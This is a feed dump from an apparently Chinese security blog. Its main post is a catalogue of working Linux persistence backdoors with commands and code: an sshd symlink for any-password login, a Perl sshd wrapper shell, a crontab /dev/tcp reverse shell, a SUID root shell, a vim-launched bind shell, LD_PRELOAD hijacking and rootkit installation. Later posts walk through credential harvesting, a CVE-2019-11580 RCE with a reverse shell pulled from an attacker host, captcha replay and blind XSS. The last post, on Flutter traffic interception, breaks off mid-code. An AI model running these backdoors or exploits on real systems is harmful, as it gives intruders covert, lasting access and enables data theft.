91Ri.org http://www.zzxjjy.com 我的安全攻防指南 Fri, 19 Jun 2020 10:41:10 +0000 zh-CN hourly 1 https://wordpress.org/?v=5.5.3 Linux常見的持久化后門匯總 http://www.zzxjjy.com/18058.html Fri, 19 Jun 2020 10:36:47 +0000 http://www.zzxjjy.com/?p=18058 0x00:前言

持久化后門是指當入侵者通過某種手段拿到服務器的控制權之后,通過在服務器上放置一些后門(腳本、進程、連接之類),來方便他以后持久性的入侵,簡單梳理一下日常遇見windows用的比較多的一些持久化方式方便以后排查問題使用.

Linux

0x01:SSH

一、ssh軟連接

SSH軟連接后門的原理

1、Linux軟連接ssh后門需要ssh配置允許PAM認證才能使用

2、將sshd文件軟連接名稱設置為su,這樣應用在啟動過程中他會去PAM配置文件夾中尋找是否存在對應名稱的配置信息(su)

3、如果被控主機不允許root登陸可用其他已存在用戶登陸

4、通過軟連接的方式,實質上PAM認證是通過軟連接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目錄下尋找對應的PAM配置文件(如:/etc/pam.d/su)

5、任意密碼登陸的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可 SSH任意密碼登陸

舉個栗子

靶機執行并查看是否軟連接建立完成

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345

說明:建立軟連接到/usr/local/su 文件,也可以在其他目錄,su文件名字不能變,變了就無法登錄.當然可以通過其他設置,更改su名字也是可以的.然后啟動,并指定監聽12345端口,登錄的時候密碼隨意即可.

攻擊者利用ssh并使用任意密碼登陸靶機

ssh root@1xx.1xx.1xx.1xx -p 12345

參考:https://www.jozxing.cc/archives/1653

二、ssh利用公鑰免密登錄

受害者:1.1.1.x

攻擊者:2.2.2.x

現在攻擊者想配置免密登錄連接受害者

攻擊者機器:

# ssh-keygen -b 4096 -t rsa

一路回車回車默認就行,在/root/.ssh/目錄下生成了兩個文件

id_rsa、id_rsa.pub

# cat /root/.ssh/id_rsa.pub

全部copy文件內容

受害者機器:

# vi /root/.ssh/authorized_keys

攻擊者的id_rsa.pub內容粘貼到文件里面(如果原來存在內容就另起一行粘貼)

# chmod 600 /root/.ssh/authorized_keys
# chmod 700 /root/.ssh

攻擊者利用公鑰登錄

# ssh -i /root/.ssh/id_rsa root@2.2.2.x

缺點:容易被發現

三、ssh? wrapper后門

init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這里的時候,正則匹配會失敗,于是執行下一句,啟動/usr/bin/sshd,這是原始sshd.

原始的sshd監聽端口建立了tcp連接后,會fork一個子進程處理具體工作.這個子進程,沒有什么檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了.此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell.

被控端

[root@Jaky?~]#?cd?/usr/sbin

[root@Jaky?sbin]#?mv?sshd?../bin

[root@Jaky?sbin]#?echo?‘#!/usr/bin/perl’?>sshd

[root@Jaky?sbin]#?echo?‘exec?“/bin/sh”?if(getpeername(STDIN)?=~?/^..4A/);’?>>sshd

[root@Jaky?sbin]#?echo?‘exec{“/usr/bin/sshd”}?“/usr/sbin/sshd”,@ARGV,’?>>sshd

[root@Jaky?sbin]#?chmod?u+x?sshd

[root@Jaky?sbin]#?/etc/init.d/sshd?restart

控制端

socat STDIOTCP4:受害者IP:22,sourceport=19526

 

優點:

1、隱蔽性較強,無需要編譯,使用于大部分環境中.

2、在無連接后門的情況下,管理員是看不到端口和進程的,last也查不到登陸.

缺點:

1、需要重啟sshd進程.

四、Crontab定時任務

????Crontab定時任務就像windows中的定時任務,在Linux系統中,計劃任務一般是由cron承擔,我們可以把cron設置為開機時自動啟動.

Cron 表達式生成網站:https://qqe2.com/cron

(crontab -l;echo '* 1/5 * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

0x02:SUID后門

????當s這個標志出現在文件所有者的x權限上時,此時就被稱為Set UID.簡程SUID.

當一個文件或者程序所屬 suid為0時,那么它的歸屬及為root,當執行該文件時,其實是以root身份執行的.

必要條件:

1、SUID權限僅對二進制程序有效。

2、執行者對于該程序需要具有x的可執行權限

3、本權限僅在執行該程序的過程中有效

4、在執行過程中執行者將具有該程序擁有者的權限

舉個栗子

#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}

編譯成二進制文件
gcc suid.c -o luomiweixiong
賦予suid權限
chmod 4755 luomiweixiong
chmod u+s luomiweixiong
假設webshell權限較低,希望使用suid shell執行root命令,通過web的方式調用
http://localhost/suid.php?path=/tmp/luomiweixiong&cmd=id
即可以root的權限執行命令id

參考

https://pythonpig.github.io/2018/06/26/suid%E5%90%8E%E9%97%A8(suid-shell)/

0x03:協議后門

在一些訪問控制做的比較嚴格的環境中,由內到外的TCP流量會被阻斷掉.但是對于UDP(DNS、ICMP)相關流量通常不會攔截.

主要原理就是利用ICMP中可控的data字段進行數據傳輸

Github上的協議后門利用

https://github.com/andreafabrizi/prism

參考文章

https://zhuanlan.zhihu.com/p/41154036

0x04:VIM后門

Vim是從 vi 發展出來的一個文本編輯器.代碼補全,編譯及錯誤跳轉等方便編程的功能特別豐富,在程序員中被廣泛使用,和Emacs并列成為類Unix系統用戶最喜歡的文本編輯器.

使用環境

1、安裝了VIM編輯器

2、python擴展(絕大版本默認已安裝)

參考

https://github.com/ianxtianxt/WOTD

首先使用一個python開啟本地監聽端口8888的腳本

from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',8888))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

同時使用vim的pyfile來執行python腳本

$(nohup?vim?-E?-c?"pyfile?jaky.py">?/dev/null?2>&1?&)?&&?sleep?2?&&?rm?-f?jaky.py

攻擊者開啟NC鏈接就OK

0x05:linux進程注入

原理上來說,是通過獲取其它的進程并修改它,一般是通過操作系統所提供的調試接口來實現的,

在linux中具有調試功能的工具有ptrace、Gdb、radare2、strace等,這些工具都是使用ptrace這個系統調用來提供服務的.

ptrace系統調用允許一個進程去調試另外一個進程。

參考

https://kevien.github.io/2018/01/28/linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/

Github上利用代碼

https://github.com/gaffe23/linux-inject/

衍生的另外一個技巧? “linux一種無文件后門技巧

文章參考鏈接

https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7%28%E8%AF%91%E6%96%87%29/

0x06:動態鏈接庫后門

在Linux操作系統的動態鏈接庫在加載過程中,動態鏈接器會先讀取LDPRELOAD環境變量和默認配置文件/etc/ld.so.preload,并將讀取到的動態鏈接庫文件進行預加載,即使程序不依賴這些動態鏈接庫,LDPRELOAD環境變量和/etc/ld.so.preload配置文件中指定的動態鏈接庫依然會被裝載,這樣就導致了動態鏈接庫文件可以被當做后門使用.

參考

https://www.freebuf.com/column/162604.html

首先創建了一個jaky.c文件,其中調用time方法,然后創建了一個jakylib.c,其中生成了一個time方法供test調用

編譯后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.

//jaky.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
  srand(time(NULL));
        return 0;
}
//編譯:gcc -o jaky jaky.c

//jakylib.c
#include <stdio.h>
int time(){
    printf("hello Jaky");
    return 0; //the most random number in the universe
}
//編譯:gcc -shared -fPIC jakylib.c -o jaky.so

Github上利用代碼

https://github.com/mempodippy/cub3

用于預加載的惡意動態鏈接庫

0x07:mafix rootkit

Mafix是一款常用的輕量應用級別Rootkits,是通過偽造ssh協議漏洞實現遠程登陸的特點是配置簡單并可以自定義驗證密碼和端口號.

參考文章

https://www.i0day.com/559.html

1.首先是獲得遠程服務器的root權限

2.然后下載rootkit程序? mafix

(下載前最好把殺毒軟件關掉,基本上會報毒的!)

3.開始安裝

tar -xvzf mafix.tar.gz
cd mafix
./root rootkit 345

(其中rootkit為你連接后門程序時的密碼,345為連接的端口)

可以驗證一下是否成功:

[root@jaky ~]# netstat -anlp|grep 345
tcp        0      0 0.0.0.0:345                 0.0.0.0:*                   LISTEN      11280/ttyload

可以看到,345端口已經在監聽了.

4.連接后門程序

ssh 111.111.111.111 -p 345

0x08:PAM

PAM其實是通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程序.

利用步驟

  1. 復制patch到源代碼目錄
  2. 打patch
  3. 編譯
  4. 將生成的pam_uninx.so文件覆蓋到/lib/secruity/pam_unix.so下
  5. 修改文件屬性
  6. 建立密碼保存文件,并設置好相關的權限
  7. 清理日志

確保ssh開啟pam支持

vim /etc/ssh/sshd_config
UsePAM yes

Github上利用代碼

https://github.com/litsand/shell/blob/master/pam.sh

0x09:創建不能刪除的文件

使用chattr來給與隱藏權限.這些權限需要使用lsattr這個命令才可以查看到,而如果要修改隱藏權限,則使用chattr這個命令來進行修改.

chattr +i jaky.sh

【via@洛米唯熊

]]>
針對某國際信息通信公司從前期探測到內網提權的一次成功漏洞測試 http://www.zzxjjy.com/18054.html Thu, 18 Jun 2020 09:02:49 +0000 http://www.zzxjjy.com/?p=18054 本文記錄的是作者針對某國際大型信通公司進行的一次漏洞測試,測試過程中,作者通過敏感信息泄露、錯誤配置、RCE等多種線索組合,最終成功實現了內網應用系統提權,可獲取到目標公司內網系統的相關資料和應用數據,漏洞提交后收獲了$9000的獎勵。作為招式的分享學習,我們一起來看看。

本文作者為印度尼西亞安全專家YoKo Kho,漏洞眾測平臺Bugcrowd MVP,具備12多年行業的資深信息安全Web漏洞挖掘和滲透測試經驗, 擁有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多項技能認證。《Bug Hunting 101》作者。

從Github發起探測偵察

前期,我已經收集了目標公司將近數千的子域名,但有了這些東西,我卻有點無從下手,于是乎我只有從原始的目標公司個人信息收集入手。我嘗試從Github上去發現一些目標公司開發人員留下的蛛絲馬跡,這不這個視頻-Github Recon and Sensitive Data Exposure(從Github平臺探測發現敏感數據)給了我一些啟發。

其中主要講述的是如何從Github被上傳代碼庫中發現憑據類敏感信息,然后去驗證受影響公司的相關服務,測試是否有效,但是,從中我也得到另外的信息收集思路。我接下來做的是:

1、收集目標公司泄露在Github上的密碼憑據(不管是否有效),然后嘗試去發現密碼規律,這樣做的原因是從中或許能發現管理員在用戶注冊分配密碼時預先會給定的一些默認密碼,這種思路在后續我們會用到。非常不錯,我幸運地在Github平臺收集到了與目標公司相關的近50個密碼憑據信息:

2、收集目標公司相關的IP地址。這樣做主要有幾種考慮:一是我們可以從一些公開的Github漏洞報告中去發現目標公司相關的IP地址,因為白帽們提交的漏洞報告多少總會包括一些細節分析,才會被眾測平臺接收,雖然有些包含目標系統內部資產信息的漏洞有時候也會存在誤報可能,但是我們可以從這些公開披露的漏洞中去尋找一些IP線索,總結規律,嘗試從中發現一些開發代碼庫或系統信息。這不,我從bugcrowd平臺就發現了自己提交的與目標公司Github相關的5個P1嚴重級漏洞:

二是這樣方便后續我們做內網探測時,可以更快地連接到內部網絡相關的系統資產;三是通過目標公司泄露在Github上的信息,可以間接判斷出目標公司的開發習慣和開發文化,比如我可以通過上述信息在兩三個小時就能弄清其大概的開發框架和內網應用。最后,這樣做也能從代碼審計層面去發現目標公司在用服務的潛在問題。執行了以上幾個前期步驟后,就可以針對目標公司收集到很多的線索信息。

利用Github進行密碼探測

之前那個視頻Github Recon and Sensitive Data Exposure中,涉及到了密碼安全問題,主要是:一些公司內部開發人員在使用類似Github的協同代碼平臺時犯下的錯誤,比如,會把包括相關密碼信息的代碼直接上傳到Github上,這要么是太大意,要么是完全不知道Github有“隱私”功能,那么這種錯誤就有可能被惡意攻擊者發現并利用。對于想要進行內網測試的攻擊者來說,這種開發錯誤還是非常有用的。

接下來,我們需要做的就是登錄我們自己的Github賬號,用以下搜索請求進行搜索:

password “.target.com”

target.com “password_value_here”

target.com是目標公司的網站域名,當然“password”字段也可替換成telnet、ftp、ssh、mysql、jdbc、oracle等特定關鍵字。雖然我不太了解Github的查詢機制,但利用這兩個搜索語法我發現了很多有用的東西。

如果你通過上述語法發現某些項目代碼存在密碼泄露,那么,可以繼續深挖,比如可以針對特定代碼庫和特定開發者用戶進行搜索查詢:

或者再找找該開發者的其它代碼庫。如果這些搜索方式都沒啥發現,那么我們可以去找找哪些與當前項目開發者或擁有者存在開發協作關系或互動,然后再針對這個用戶再繼續用上述語法搜索一遍。以下為我總結的Github信息收集(Recon)流程圖:

活用Google Dork搜索語法收集信息

接下來,我嘗試用Google Dork搜索,這里我用到的語法關鍵字是目標公司的一個內部非公開子域名和相關密碼模式,該內部子域名是我在第一階段Github平臺中發現的,當時通過它我又關聯到了好幾個子域名。由于這些子域名無法通過外網訪問到,我猜想這些子域名是目標公司用于開發之用的。

雖然這些子域名是內部域名,但我還是想嘗試看看Google大法的神奇,于是就用以下Google Dork語法進行了搜索:

site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'

竟然真的有所發現!從中我發現了目標公司內部域名和服務端相關的大量密碼憑據(如FTP/SSH)和內部IP地址等信息,盡管它們需要從內網才能訪問或利用,但也算有所發現。

通過調整搜索關鍵字,如已知的IP地址、產品應用(如Oracle、MySQL、MSSQL等) 、服務名稱 (FTP, SSH, DB等)和其它登錄鍵值字段(如password、pwd、pass、username、userid等),或與登錄相關的dashboard、cms等內容。

另外,通過Google大法,我還在某些眾測平臺披露的漏洞報告中發現了目標公司相關的4個賬號,在披露漏洞中這4個賬號都可以訪問到顧客數據,而且這些賬號都使用了我在Github中發現的密碼模式。

另外,我還發現了不在測試范圍內的另一超級管理員賬號(super admin),該賬號信息涉及目標公司客戶的多項交易數據,可惜它所屬于的系統并不在于我滲透測試范圍內,為了保密只放出具體漏洞報告示例,賬號信息就不截圖了。

通過舊版本Atlassian Crowd應用發現未授權RCE漏洞

手上有了一堆內網信息和其密碼配置模式,但還缺少一個有效的內網訪問渠道。為此,我又想從其子域名中發現更多線索,這次我用到了域名和主機可視化發現工具aquatone。之后我發現了目標公司在用的一個老版本服務端,從其顯示線索中來看,只有一些帶有類似 1st words、2nd words、3rd words和crowd關鍵字的可點擊鏈接,其中的“crowd”引起了我的注意,于是我點擊了“crowd”的關鍵字鏈接,然后它跳轉到了一個Atlassian Crowd應用的子域名網站,從中注意到是2017年的版本。

面對該Atlassian Crowd應用,我想有三種可利用方式:

可測試一些用過的賬戶密碼;

可測試發現未修復的補丁;

可測試發現配置型漏洞。

當然,首先可用Google來搜索其漏洞利用方式:

經過一番查找,我發現了該版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看該漏洞是否存在公開的利用代碼(exploit),然后我在Github中發現了這個遠程代碼執行(RCE)的exploit:

接下來的就是調試當前Atlassian Crowd應用是否存在該漏洞了。可以在其/admin/路徑下的上傳操作端uploadplugin.action點擊查看,如果當前Atlassian Crowd應用回顯了一個錯誤消息“HTTP Status 400 – Requires POST” ,那么這種情況說明它是存在該RCE漏洞的,也就是說其uploadplugin插件可以被未授權利用。

RCE代碼執行

現在,我們從https://github.com/jas502n/CVE-2019-11580下載漏洞利用代碼CVE-2019-11580.py,以當前Atlassian Crowd應用為目標,它確實存在CVE-2019-11580漏洞,并反彈回了一個webshell,如下:

接著,就可以通過瀏覽器瀏覽http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,訪問到這個webshell了,當然其中的command_here可以替換成其它系統命令。如下:

所以,總結來看,該漏洞利用有三個好處:

1、無需任何用戶賬戶密碼;

2、RCE是以root身份執行的;

3、該Atlassian Crowd應用無任何安全防護。

但這還不夠,我們需要一個能與目標系統執行交互的Webshell!

這里,我的想法是通過我的Attacker主機,實現對目標應用系統的操控交互。通常我用的是PentestMonkey上提供的反彈Shell,但可惜的是,其中的交互命令在與我的Attacker主機連接執行時沒有任何回連顯示,很可能是目標Web應用過濾了如> & 以及‘ “這些特殊字符。

為此,我只有在我的Attacker主機放置了一個回連python腳本reverse.py,然后通過之前的RCE命令迫使目標Web應用來對它執行下載,然后再通過我的Attacker主機連接它,實現控制。具體的python回連腳本reverse.py如下:

目標Web應用從我的Attacker主機中下載python回連腳本reverse.py:

就這樣,我們就向目標Web應用系統中植入了一個反彈腳本,之后,需要對該腳本文件進行chmod權限修改以便我們能訪問執行,如可以把它修改為700:

目標Web應用下載了reverse.py后,我們這邊的Attacker主機需要設置一個監聽端口:

$ nc -lvp <our_port>

然后,用之前的RCE shell使目標Web應用執行腳本reverse.py。但是,這還不算真正意義上的交互shell,如果把它設置為偽終端方式就更好了,所以,可以在終端窗口中執行以下python命令實現腳本的偽終端顯示:

python -c 'import pty;pty.spawn("/bin/bash")'

到此,我們就獲得了目標Web應用系統的一個控制shell:通過運行reverse.py,我們就能無障礙地去連接目標Web應用系統中的數據庫或其它運行服務了:

內部系統探測

這里我們獲得的RCE,一個有利因素就是該服務器位于目標公司的內部網絡中,當在上述交互webshell是去ping一些目標公司的公開系統時,返回響應中得到的是一些內部IP地址。也就是說,我們在這個全球知名大型信息通信技術公司的內部網絡系統中實現了據點潛伏。之前階段我們收集獲得的大量內部網絡信息,在這里就可派上用場了。但是,為了不造成嚴重影響破壞,不能再深入了,就點到為止吧。

聲明:以上主要展示前期信息收集對后期滲透測試的重要性,最終說明問題即可收手,另外這些測試都是在允許授權之內開展的。

最終,盡管發現的該漏洞不在眾測范圍之內(out-scope),但確實是一次奇妙的滲透之旅。能以信息收集、目標分析和線索映證測試的方式,從知名信通公司的外部網絡中打到內部系統,并實現RCE,已經非常不簡單了。就像我們白帽平時開玩笑說的“要在漏洞測試中發現RCE漏洞,簡單就是天方夜譚”。之后我及時上報了該漏洞,并收到目標公司的快速響應。

連接內部Crowd應用數據庫

上述因為目標公司部署有Atlassian Crowd應用的系統存在漏洞,導致了最終我的RCE。那或許有人會問,能不能嘗試登錄其它的Atlassian Crowd應用或相關數據庫呢?

我們也來看看。經測試發現,為配合Atlassian Crowd的使用,目標公司在該服務器上也安裝了Atlassian協同辦公組件Confluence,而我對Atlassian Crowd和Atlassian Confluence的協同工作機制根本不懂,但我在netstat命令下觀察到了數據庫連接,所以我想其中肯定涉及到一些密碼信息的存儲。經過對Atlassian Confluence的研究分析,我發現其密碼信息存儲在<confluence_home>/confluence.cfg.xml文件中。

使用locate命令,我在目標系統中發現了confluence.cfg.xml文件,更高興的是,其中的密碼信息完全是明文:

就這樣,利用其中的密碼信息,我成功登錄到了其相關數據庫:

登錄了上述Crowd數據庫之后,我就在想能不能把這個登錄密碼進行修改,換成我們自己的呢?我覺得應該是可行的,因為Atlassian在官方文檔里有密碼替換更改的說明,在如下介紹中,我們可以用哈希過的字符串去替換管理員原來的密碼。

由于這是一個漏洞測試項目,因為沒有密碼修改授權,所以我們不能擅自進行這種密碼替換更改。但如果在真實的攻擊場景下,攻擊者完全可以實現這種操作,對系統造成影響。那如果不能修改替換密碼,我們可以選擇創建一個新賬戶的方法來測試。經過查找發現,只要知道管理員賬號密碼,就可以通過REST請求方式來創建Atlassian Crowd的新賬戶:

上述操作的請求格式如下:

curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'

> {

> "email": "your@email_here.tld",

> "name": "your_new_user_here",

> "password": {

> "value": "your_new_user_password_here"

> }

> }

> '

your_new_user_here = 將要創建的賬戶名

crowd_administrator_username_here = Crowd的管理員名稱

crowd_administrator_password_here = Crowd的管理員密碼

your@email_here.tld = 將要創建賬戶的綁定郵箱

your_new_user_password_here =將要創建賬戶的密碼

之后,進行賬戶激活,我們就可成功創建一個新的Crowd賬戶:

然后進行登錄:

經驗總結

1、前期的信息收集(Recon)至關重要,通過其我們可以了解目標應用的API工作機制和開發環境等因素。在此借用大牛@Mongobug和@NahamSec對Recon的原話:

“前期信息收集(Recon)不僅可以發現目標系統的資產環境和過期版本信息,還可以掌握相關的應用架構,并獲取到一些很難探測到的功能特性。因此,成功的測試需要在前期信息收集和實際滲透過程中保持一種平衡。”

2、不要丟掉任何你搜集到的數據和信息,說不定在之后的測試中可以發揮作用。該次測試中,我就是綜合利用了前期收集的有用線索,最終成功在后續階段實現了突破驗證了RCE漏洞,收獲了$9,000的獎勵;

3、享受你的每次漏洞測試或滲透測試活動,不要太過于看重賞金(Bounty)。盡量去測試那些合法或官方的項目,多動手多思考多學習,這樣才能快速地提高你的測試技能,擴展你的知識面;

4、可以多參與一些官方的漏洞責任披露項目,從中好好練手,儲備經驗;

5、高手和大牛都不是天生的,他們曾經也是菜鳥。

NOTE:詳細技術報告,請點此下載PDF版本。

【via@freebuf.com

]]>
實戰筆記:滑動驗證碼攻防對抗 http://www.zzxjjy.com/18049.html Thu, 18 Jun 2020 08:09:44 +0000 http://www.zzxjjy.com/?p=18049 一、背景介紹??

在業務安全領域,滑動驗證碼已經是國內繼傳統字符型驗證碼之后的標配。眾所周知,打碼平臺和機器學習這兩種繞過驗證碼的方式,已經是攻擊者很主流的思路,不再闡述。本文介紹的是一個冷門的繞過思路和防御方案。這些積累,均來自于實戰之中,希望有用。

二、思路介紹

知己知彼,百戰不殆。

如果不清楚攻擊者的手段,又如何能制定防御方案?

滑動驗證碼繞過思路

漏洞名字:session參數重復校驗漏洞

思路介紹:

此思路來源于一次對黑產路徑的溯源復現,由于每次拖動滑塊后,會發送一個Request請求數據包到服務器,服務器會驗證這個Request請求數據包里攜帶的位移參數,來判斷是否是拖動滑塊到了正確的缺口位置。而服務器接收的數據包有很多,除了你發送的,也還會有其他人發送的請求,所以需要一個session參數來作為標識。本文中的”rid”值就是一個session標識。

其中”rid”值是加引號的,因為它只是一個參數。針對不同的滑動驗證碼廠商,可能參數命名不一樣。

漏洞詳情:

在用戶客戶端完成一次正確的驗證碼滑動后,發送到服務器的session參數,會在服務器后端,默認隱含生成一個有效時間和一個有效次數的值。前提條件是正確的滑動。想想這里會不會存在問題?

曾在黑盒測試中發現,有的滑動驗證碼廠商的后端邏輯設計存在缺陷,一個session參數的有效時間是10分鐘,有效使用次數是5次。那么如何利用呢?這是我在風控后臺的真實業務環境下,挖掘到的一條黑產繞過滑動驗證碼的手法。

思路剖析:

首先,觸發滑動驗證機制,如下圖類似。

接著,滑動滑塊到正確缺口位置,然后抓包。

分析數據包,尋找session參數。通過測試找到”rid”值為session參數。

這里再強調一下,不同的廠商開發的代碼,可能對session參數命名不一樣。比如下圖,”sessionId”值是另一家廠商的session參數,需要我們去分析判斷。

每次滑動正確位移后,使用Brupsuite或者其它中間人代理工具,抓包提取數據包里的session參數(”rid”值),保存到本地。

因為服務器后端默認隱含對我們本地保存的session參數有一個有效時間和有效次數,所以我們不需要再去滑動驗證碼,直接在session的有效期內發送Request請求數據包到服務器即可驗證成功!

上述操作,我用python編寫了一個小工具使其流程化。全自動化過程:調用打碼平臺滑動驗證碼滑塊到正確位置,使用python的mitmproxy庫配合正則提取rid,并寫入保存到本地rid.txt。

最后黑產在實際批量注冊,薅羊毛或刷贊過程中,遇到觸發的滑動驗證碼機制,只要session在有效期內,只需使用python讀取本地的rid.txt內容,調用requests庫發送請求數據包,即可繞過滑動驗證碼。

至此,滑動驗證碼繞過思路剖析完成。

滑動驗證碼js接口XSS攻擊:

眾所周知的跨站腳本攻擊—XSS,攻擊手法可能很平常,但把常用的攻擊手法用在一個不被人注意的地方,有時候會給你意想不到的效果。

在某次實戰中,對一個安全公司的真實后臺登錄頁面做黑盒測試。

首先,給到的只有一個這種后臺登錄頁面。

對常規的地方進行一番測試后,并沒有發現什么脆弱缺陷。既是一家安全公司,安全防護做的比較高,也是意料之中的事。在屏幕前發了很久的呆,沒有思路的時候,喜歡倒退,會回到滲透測試最本質的起點,信息收集。

因為這家公司做的是業務安全,了解到這個后臺是一個風控數據監測的登錄后臺。

風控面對的業務場景有:注冊、登錄、瀏覽,支付,活動等。

面對的威脅有:惡意爬蟲、批量注冊、薅羊毛、盜號撞庫等。

風控策略有:限制注冊登錄頻率、惡意IP識別、驗證碼等。

【惡意/正常行為】——【風控策略】——【業務場景】,風控在其中扮演者中間人的角色,無論是一個正常用戶的行為還是群控設備的惡意行為,風控一方面會使用策略進行過濾行為,另一方面會將惡意/正常行為會被記錄到日志中,進而在后臺展示。

至此,信息收集完畢,我們整理一下思路。

我們先看一下手里拿到的測試頁面,再對比分析一下上面那段信息。

我們發現這個登錄頁,是有滑動驗證碼的。而對比上面的信息,我將紅色框圈出來的文字,構建了一個我的漏洞測試想法。如果我能控制滑動驗證碼的輸入,那在后臺的輸出也可能將是可控的。紅色框圈出的最后四個字,“后臺展示”,第一反應就是用XSS攻擊手法再合適不過了。

開始行動

首先,找到獲取滑動驗證碼的js接口

 

分析接口參數

找到以下參數:

channel,appId,orgaization,lang,data,sdkver,callback,model,reversion

黑盒XSS——FUZZ

刷新驗證碼,截斷,抓包。

蠻力碰撞,直接把所有的參數的值替換成XSS payload,但這樣往往容易失敗,因為有些參數是硬編碼,一旦更改,服務器返回的respnse就會直接顯示reject拒絕。

舍近求遠,9個參數,抓9次包,分別替換參數值成XSS payload,最后,幾分鐘后,成功打到了cookie。

(因為XSS平臺更新,當時的記錄未保存)

因為是黑盒測試,在漏洞修復后,內部人員把后臺觸發漏洞的位置告訴了我。

下面這張圖是,風控后臺的滑動驗證碼記錄的行為信息展示欄,未修復之前這里有一列language的值,就是參數里的”lang”,而插入的XSS payload也就會出現在這個位置。

由于開發人員未考慮到這個隱秘的js接口,所以未做過濾防護,且未申明http only,導致XSS payload可以順利執行。

最后,在黑盒測試盲打XSS中,很大一部分靠運氣。但使用極限語句再配合一個超短域名的XSS平臺,會增加成功率。

風控防御方

滑動驗證碼可能會部署在:注冊、登錄、反爬、支付等場景當中,而黑產繞過滑動驗證碼的技術會有很多種,但凡只要有一種是當前風控策略未考慮的情況,就可能會造成比較嚴重的損失。

攻擊手法總結

從黑產/攻擊者的角度,針對滑動驗證碼,我們介紹了一種繞過的思路:session參數重復校驗漏洞,一種攻擊的手法:JS接口的XSS攻擊。

那么,從風控/防御方的角度,我們如何制定防守方案呢?才疏學淺,不敢無稽之談,只能把平時實戰之中碰到的問題,記錄下來,希望有用。

被動防守——針對攻擊者

這里沒什么特色,既然是被動防守,自然是要避免亡羊補牢。針對諸如XSS等OWASP TOP漏洞,不能依賴開發的細心。除了在業務上線之前,內部測試和攻防測試;還可以在在業務上線之后,托管類似國外Hackone平臺的國內賞金平臺,或自運營SRC。當然,結合考慮預算成本。

主動出擊——針對灰黑產

主動出擊,針對的是利用滑動驗證碼,來精準識別灰黑產。

在上一篇文章實戰筆記之X廠滑動驗證碼漏洞挖掘里最后一節,提到了多缺口、滑塊多樣化的方案。

在一次滑動驗證碼更新升級過程中,發現了一個新思路。

原始過程:在用戶完成一次驗證碼滑動后,將request請求數據包發送給服務器。

升級方案:在服務器后端升級滑動驗證碼的js代碼,使每一個滑動驗證碼都在用戶客戶端生成一個或多個隨機參數,這些隨機參數需要跟隨request請求發送到服務器進行一個簡單邏輯驗證。重點在于:正常用戶只有通過滑動滑塊發送的request數據包才一定是攜帶隨機參數的,但并不強制要求發送的request請求攜帶這些隨機參數。

精準識別:因為核心圈的黑產下放的工具,都是通過直接通過發送request請求數據包來進行批量注冊、刷量刷贊和惡意爬蟲等行為。稱之為:“協議刷”或“打接口”,這種方式效率極高。加上利益化的原因,黑產不會去在乎過程,只在乎是否結果能成功。

升級的方案:只有通過正常滑動滑塊,才能發送攜帶隨機參數的request數據包發到服務器。

舊方案:通過以前的舊接口直接發送不攜帶隨機參數的request數據包到服務器也可以通過驗證。

在無聲無息升級后,兩種方案并行運行,那么拐點就到來了。

是不是就意味著舊方案的驗證碼接口過來的ip,sdk,captcha_flag等數據一定都是源于黑產池;而升級方案的驗證碼接口過來的ip,sdk,captcha_flag等數據不說百分百,也絕大部分都是來自正常用戶群體。這就悄然無聲的就達到了精準識別灰黑產的目的。

持續化:在被黑產發現后,就需要做持續化更新的對抗了。

還是那句,攻防本身就是一場不公平的戰斗,或許只要能大大增加黑產攻擊者的成本,就是有效果的防守。

三、總結

以上理論,皆為實戰總結。希望有用。

如果沒有,我想下篇或許會有。

【via@freebuf.com

]]>
使用Burp攔截Flutter App與其后端的通信 http://www.zzxjjy.com/18035.html Sun, 20 Oct 2019 12:17:28 +0000 http://www.zzxjjy.com/?p=18035 Flutter是谷歌的移動UI框架,可以快速在iOS和Android上構建高質量的原生用戶界面。Flutter應用程序是用Dart編寫的,這是一種由Google在7年多前創建的語言。

通常情況下我們會通過添加Burp作為攔截代理,來攔截移動應用程序與其后端之間的通信流量(以用于安全評估等)。雖然Flutter應用代理起來可能會有些困難,但這絕對是可能的。

TL;DR

Flutter使用Dart編寫,因此它不會使用系統CA存儲

Dart使用編譯到應用程序中的CA列表

Dart在Android上不支持代理,因此請使用帶有iptables的ProxyDroid

Hook x509.cc中的session_verify_cert_chain函數以禁用鏈驗證(chain validation)

你可以直接使用本文底部的腳本,或者按照下面的步驟獲取正確的字節或偏移量。

測試設置

為了執行我的測試,我安裝了flutter插件并創建了一個flutter應用程序,該應用程序附帶了一個默認的交互式按鈕,用于遞增計數器。我將其修改為通過HttpClient類獲取URL:

class _MyHomePageState extends State<MyHomePage&gt; {
  int _counter = 0;
  HttpClient client;

  _MyHomePageState()
  {
      _start();
  }
  void _start() async
{
    client = HttpClient();
  }
  void _incrementCounter() {
